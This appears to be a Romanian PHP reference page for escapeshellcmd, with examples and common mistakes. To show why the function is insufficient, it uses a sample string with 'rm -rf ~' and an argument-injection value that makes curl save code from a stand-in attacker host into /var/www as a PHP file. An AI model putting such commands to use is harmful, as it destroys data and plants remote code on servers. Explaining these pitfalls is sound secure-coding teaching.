escapeshellcmd în PHP

Protejează caracterele speciale dintr-o comandă întreagă de shell (; | & $ * > și altele), ca să nu pornească alte comenzi.

Sintaxă
escapeshellcmd(string $command): string

Ce face escapeshellcmd

escapeshellcmd pune \ în fața caracterelor cu sens special în shell: #&;`|*?~<>^()[]{}$\, liniile noi și ghilimelele fără pereche. Rezultatul rulează o singură comandă, fără ; sau | care să lege altele.

Nu protejează spațiile, deci cine controlează textul poate adăuga argumente și opțiuni noi. Pentru valorile venite de la utilizator, folosește escapeshellarg pe fiecare argument.

Parametri

Parametru Descriere
$command Comanda de protejat.

Ce returnează

Comanda cu caracterele speciale protejate.

Exemple

Exemplul 1: Caracterele speciale neutralizate

<?php
echo escapeshellcmd("ls *.txt; rm -rf ~ && echo gata | mail ana@exemplu.ro") . "\n";
echo escapeshellcmd("echo 'Ana are mere'") . "\n";
echo escapeshellcmd("echo \"Ana's\"");

Rezultat

ls \*.txt\; rm -rf \~ \&\& echo gata \| mail ana@exemplu.ro
echo 'Ana are mere'
echo "Ana\'s"

Exemplul 2: De ce nu ajunge pentru argumente

Utilizatorul a dat o „adresă” care conține o opțiune nouă. Nu are caractere speciale, așa că rămâne neschimbată, iar curl ar scrie un fișier oriunde pe server. Cu escapeshellarg, tot textul devine un singur argument.

<?php
$adresa = "--output /var/www/spart.php http://atacator.exemplu/cod";

echo escapeshellcmd("curl $adresa") . "\n";
echo "curl " . escapeshellarg($adresa);

Rezultat

curl --output /var/www/spart.php http://atacator.exemplu/cod
curl '--output /var/www/spart.php http://atacator.exemplu/cod'

Greșeli frecvente

  • Folosești escapeshellcmd ca protecție pentru valorile de la utilizator. Spațiile și opțiunile cu -- trec. Folosește escapeshellarg pe fiecare valoare.
  • Aplici ambele funcții pe aceeași valoare. Caracterele sunt protejate de două ori și argumentul ajunge greșit la comandă.

Comenzi înrudite

  • escapeshellarg: Pune un text între ghilimele sigure, ca să poată fi folosit ca argument într-o comandă de shell.
  • exec: Rulează o comandă a sistemului de operare și returnează ultima linie afișată de ea.
  • system: Rulează o comandă de sistem, afișează imediat tot ce scrie ea și returnează ultima linie.